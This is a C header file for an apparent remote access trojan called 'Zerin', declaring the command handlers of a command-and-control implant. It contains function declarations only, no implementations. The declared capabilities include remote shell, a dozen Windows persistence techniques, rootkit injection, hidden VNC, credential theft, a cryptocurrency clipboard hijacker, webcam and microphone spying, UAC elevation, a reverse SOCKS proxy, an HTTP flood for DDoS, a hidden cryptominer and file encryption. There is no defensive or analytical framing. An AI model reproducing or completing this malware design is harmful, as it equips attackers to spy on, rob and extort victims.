#ifndef ZERIN_COMMANDS_H #define ZERIN_COMMANDS_H #include "protocol.h" #include "config.h" // Command handler function type typedef int (*command_handler_fn)(const task_t *task, task_result_t *result, char *cwd); // Command dispatch — routes task.command to the right handler int command_dispatch(const task_t *task, task_result_t *result, char *cwd); // Individual command handlers int cmd_shell(const task_t *task, task_result_t *result, char *cwd); int cmd_whoami(const task_t *task, task_result_t *result, char *cwd); int cmd_ps(const task_t *task, task_result_t *result, char *cwd); int cmd_ls(const task_t *task, task_result_t *result, char *cwd); int cmd_cd(const task_t *task, task_result_t *result, char *cwd); int cmd_pwd(const task_t *task, task_result_t *result, char *cwd); int cmd_upload(const task_t *task, task_result_t *result, char *cwd); int cmd_download(const task_t *task, task_result_t *result, char *cwd); // Phase 2 — enhanced commands int cmd_screenshot(const task_t *task, task_result_t *result, char *cwd); int cmd_netstat(const task_t *task, task_result_t *result, char *cwd); int cmd_ifconfig(const task_t *task, task_result_t *result, char *cwd); int cmd_reg_read(const task_t *task, task_result_t *result, char *cwd); int cmd_reg_write(const task_t *task, task_result_t *result, char *cwd); int cmd_persist_runkey(const task_t *task, task_result_t *result, char *cwd); int cmd_persist_schtask(const task_t *task, task_result_t *result, char *cwd); int cmd_persist_service(const task_t *task, task_result_t *result, char *cwd); int cmd_env(const task_t *task, task_result_t *result, char *cwd); int cmd_sysinfo(const task_t *task, task_result_t *result, char *cwd); // Advanced persistence methods int cmd_persist_startup(const task_t *task, task_result_t *result, char *cwd); int cmd_persist_logonscript(const task_t *task, task_result_t *result, char *cwd); int cmd_persist_screensaver(const task_t *task, task_result_t *result, char *cwd); int cmd_persist_ifeo(const task_t *task, task_result_t *result, char *cwd); int cmd_persist_bits(const task_t *task, task_result_t *result, char *cwd); int cmd_persist_com(const task_t *task, task_result_t *result, char *cwd); int cmd_persist_dllhijack(const task_t *task, task_result_t *result, char *cwd); int cmd_persist_wmi(const task_t *task, task_result_t *result, char *cwd); int cmd_persist_portmon(const task_t *task, task_result_t *result, char *cwd); int cmd_persist_ssp(const task_t *task, task_result_t *result, char *cwd); // File actions — delete, encrypt, decrypt, execute int cmd_delete(const task_t *task, task_result_t *result, char *cwd); int cmd_encrypt(const task_t *task, task_result_t *result, char *cwd); int cmd_decrypt(const task_t *task, task_result_t *result, char *cwd); int cmd_execute(const task_t *task, task_result_t *result, char *cwd); // Auto-persistence + uninstall int cmd_uninstall(const task_t *task, task_result_t *result, char *cwd); void persist_auto_install(zerin_config_t *cfg); void persist_self_copy(zerin_config_t *cfg); // Rootkit commands int cmd_rootkit_status(const task_t *task, task_result_t *result, char *cwd); int cmd_rootkit_inject(const task_t *task, task_result_t *result, char *cwd); int cmd_rootkit_inject_all(const task_t *task, task_result_t *result, char *cwd); // VNC (remote desktop) int cmd_vnc_start(const task_t *task, task_result_t *result, char *cwd); int cmd_vnc_stop(const task_t *task, task_result_t *result, char *cwd); void vnc_cleanup(void); // hVNC (hidden virtual desktop) int cmd_hvnc_start(const task_t *task, task_result_t *result, char *cwd); int cmd_hvnc_stop(const task_t *task, task_result_t *result, char *cwd); int cmd_hvnc_exec(const task_t *task, task_result_t *result, char *cwd); // Power commands int cmd_restart(const task_t *task, task_result_t *result, char *cwd); int cmd_shutdown(const task_t *task, task_result_t *result, char *cwd); // Troll commands int cmd_troll_msgbox(const task_t *task, task_result_t *result, char *cwd); int cmd_troll_tts(const task_t *task, task_result_t *result, char *cwd); int cmd_troll_website(const task_t *task, task_result_t *result, char *cwd); int cmd_troll_wallpaper(const task_t *task, task_result_t *result, char *cwd); int cmd_troll_taskbar(const task_t *task, task_result_t *result, char *cwd); int cmd_troll_cd_tray(const task_t *task, task_result_t *result, char *cwd); int cmd_troll_swapmouse(const task_t *task, task_result_t *result, char *cwd); int cmd_troll_disablesound(const task_t *task, task_result_t *result, char *cwd); int cmd_troll_blackscreen(const task_t *task, task_result_t *result, char *cwd); int cmd_troll_disablekeyboard(const task_t *task, task_result_t *result, char *cwd); int cmd_troll_disablemouse(const task_t *task, task_result_t *result, char *cwd); int cmd_troll_reroutesites(const task_t *task, task_result_t *result, char *cwd); // Chat int cmd_chat(const task_t *task, task_result_t *result, char *cwd); // Powershell int cmd_powershell(const task_t *task, task_result_t *result, char *cwd); // Kill process int cmd_kill(const task_t *task, task_result_t *result, char *cwd); // Window enumeration int cmd_windows(const task_t *task, task_result_t *result, char *cwd); // Installed applications int cmd_installed_apps(const task_t *task, task_result_t *result, char *cwd); // System specs int cmd_specs(const task_t *task, task_result_t *result, char *cwd); // AV detection (shared with recon) void get_av_product(char *buf, size_t len); // Credential recovery int cmd_creds(const task_t *task, task_result_t *result, char *cwd); // Crypto clipper int cmd_clipper_start(const task_t *task, task_result_t *result, char *cwd); int cmd_clipper_stop(const task_t *task, task_result_t *result, char *cwd); int cmd_clipper_config(const task_t *task, task_result_t *result, char *cwd); // Webcam int cmd_webcam_start(const task_t *task, task_result_t *result, char *cwd); int cmd_webcam_stop(const task_t *task, task_result_t *result, char *cwd); int cmd_webcam_list(const task_t *task, task_result_t *result, char *cwd); // Microphone int cmd_mic_start(const task_t *task, task_result_t *result, char *cwd); int cmd_mic_stop(const task_t *task, task_result_t *result, char *cwd); // UAC elevation int cmd_elevate(const task_t *task, task_result_t *result, char *cwd); void maybe_auto_elevate(void); // SOCKS5 reverse proxy int cmd_socks5_start(const task_t *task, task_result_t *result, char *cwd); int cmd_socks5_stop(const task_t *task, task_result_t *result, char *cwd); void socks5_cleanup(void); // DDoS HTTP flood int cmd_ddos_start(const task_t *task, task_result_t *result, char *cwd); int cmd_ddos_stop(const task_t *task, task_result_t *result, char *cwd); // Cryptominer (XMRig) int cmd_miner_start(const task_t *task, task_result_t *result, char *cwd); int cmd_miner_stop(const task_t *task, task_result_t *result, char *cwd); int cmd_miner_status(const task_t *task, task_result_t *result, char *cwd); // Utility bool is_elevated(void); // Recon — gather system info for checkin int recon_gather_checkin(checkin_t *ci, const char *agent_id, uint32_t sleep_interval, uint32_t jitter_percent, int64_t kill_date); #endif // ZERIN_COMMANDS_H